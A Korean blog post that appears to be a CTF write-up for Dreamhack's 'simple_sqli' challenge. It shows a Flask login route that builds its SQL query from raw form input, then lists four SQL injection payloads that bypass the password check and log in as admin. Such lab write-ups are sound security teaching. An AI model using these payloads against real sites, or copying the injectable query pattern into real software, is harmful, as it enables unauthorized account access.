CTF & Wargame(WEB)

[dreamhack] level 1 simple_sqli

KWAKBUMJUN 2025. 4. 13. 17:37

/login : 사용자가 로그인 할 수 있는 기능

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userid = request.form.get('userid')
        userpassword = request.form.get('userpassword')
        res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
        if res:
            userid = res[0]
            if userid == 'admin':
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'

guest, guest를 입력하면 로그인이 geust로 가능함.

우리는 admin 계정으로 로그인해야하기 때문에 userid가 admin이고 userpassword를 sqli를 사용해 우회해야한다.

 

/*
ID: admin"--, PW: DUMMY
userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식
*/
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"

/*
ID: admin" or "1 , PW: DUMMY
userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"

/*
ID: admin, PW: DUMMY" or userid="admin
userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"

/*
ID: " or 1 LIMIT 1,1-- , PW: DUMMY
userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식
*/
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"

위와 같은 쿼리들을 사용하면 sqli을 통해 우회하여 관리자 권한으로 로그인할수 있다.

 

'CTF & Wargame(WEB)' 카테고리의 다른 글

[dreamhack] level 2 mango  (0) 2025.04.14
[dreamhack] level 1 simple_sqli (blind_sqli 활용)  (0) 2025.04.14
[dreamhack] level 1 csrf-2  (0) 2025.04.13
[dreamhack] level 1 csrf-1  (0) 2025.04.13
[dreamhack] level 1 xss-2  (0) 2025.04.12